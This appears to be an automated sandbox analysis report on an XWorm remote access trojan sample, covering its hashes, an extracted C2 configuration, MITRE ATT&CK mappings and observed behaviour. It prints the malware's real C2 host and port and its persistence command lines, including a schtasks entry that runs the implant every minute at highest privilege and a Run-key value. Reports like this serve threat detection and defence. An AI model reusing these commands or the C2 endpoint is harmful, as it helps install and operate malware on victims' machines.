xworm | 9b752a8369dc49b5fb2164b2b2e9f2ab7c7e8a3f0d99ed38edd7745cc4004236

Analysis

max time kernel
91s
max time network
106s
platform
windows7_x64
resource
win7-20230220-en
resource tags

arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
submitted
29-03-2023 04:39

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General

Target

TGX.exe
Size

38KB
MD5

ee272fb8a6844eb8b30f35614f0baa1f
SHA1

48be70669ce639e648fca442892f458c8729aca0
SHA256

9b752a8369dc49b5fb2164b2b2e9f2ab7c7e8a3f0d99ed38edd7745cc4004236
SHA512

341287070bd21cb60e012473837c54d8cb7f8b322adec81f71215cd86a2116fadcafee44c518f0ba27863c7d0490dd77e23695f55612af0cc03c4a3646f1d785
SSDEEP

768:DzpMBIG6sJLIuv+044PF5Ph9tbkOwhnICFYCgc/:P6PDLfdFD9t4OwW8zJ

Score

10^/10

xworm persistence rat trojan

Malware Config

Extracted

Family

xworm

browser-bangladesh.at.ply.gg:14018

Mutex

Dmpd64MhhEQE1POv

Attributes

install_file
USB.exe

aes.plain

Signatures

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Drops startup file 2 IoCs

Processes:

TGX.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\TGX.lnk	TGX.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\TGX.lnk	TGX.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

TGX.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-1563773381-2037468142-1146002597-1000\Software\Microsoft\Windows\CurrentVersion\Run\TGX = "C:\\Users\\Admin\\AppData\\Roaming\\TGX.exe"	TGX.exe

Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

3 ip-api.com
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exe

pid process

1720 schtasks.exe
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

TGX.exe

pid process

2028 TGX.exe
2028 TGX.exe
2028 TGX.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

TGX.exe

description pid process

Token: SeDebugPrivilege 2028 TGX.exe
Token: SeDebugPrivilege 2028 TGX.exe
Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

TGX.exe

pid process

2028 TGX.exe

flow	ioc
3	ip-api.com

pid	process
1720	schtasks.exe

pid	process
2028	TGX.exe
2028	TGX.exe
2028	TGX.exe

description	pid	process
Token: SeDebugPrivilege	2028	TGX.exe
Token: SeDebugPrivilege	2028	TGX.exe

pid	process
2028	TGX.exe

Suspicious use of WriteProcessMemory 7 IoCs

Processes:

TGX.exe

description	pid	process	target process
PID 2028 wrote to memory of 1720	2028	TGX.exe	schtasks.exe
PID 2028 wrote to memory of 1720	2028	TGX.exe	schtasks.exe
PID 2028 wrote to memory of 1720	2028	TGX.exe	schtasks.exe
PID 2028 wrote to memory of 1044	2028	TGX.exe	cvtres.exe
PID 2028 wrote to memory of 1044	2028	TGX.exe	cvtres.exe
PID 2028 wrote to memory of 1044	2028	TGX.exe	cvtres.exe
PID 2028 wrote to memory of 1044	2028	TGX.exe	cvtres.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\TGX.exe
"C:\Users\Admin\AppData\Local\Temp\TGX.exe"
1⤵
- Drops startup file
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2028

C:\Windows\System32\schtasks.exe
"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "TGX" /tr "C:\Users\Admin\AppData\Roaming\TGX.exe"
2⤵
- Creates scheduled task(s)
PID:1720

C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" browser-bangladesh.at.ply.gg 14018 <123456789> 033F3D68184F7F144596
2⤵
PID:1044

C:\Windows\system32\taskeng.exe
taskeng.exe {B0A07FAF-B230-4EA2-865E-FE1E98317EFC} S-1-5-21-1563773381-2037468142-1146002597-1000:YBHADZIG\Admin:Interactive:[1]
1⤵
PID:1536

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Registry Run Keys / Startup Folder

T1060

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Query Registry

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

memory/2028-54-0x0000000000C20000-0x0000000000C30000-memory.dmp

Filesize
64KB

Download
memory/2028-55-0x000000001A840000-0x000000001A8C0000-memory.dmp

Filesize
512KB

Download
memory/2028-59-0x000000001A840000-0x000000001A8C0000-memory.dmp

Filesize
512KB

Download
memory/2028-61-0x000000001A830000-0x000000001A844000-memory.dmp

Filesize
80KB

Download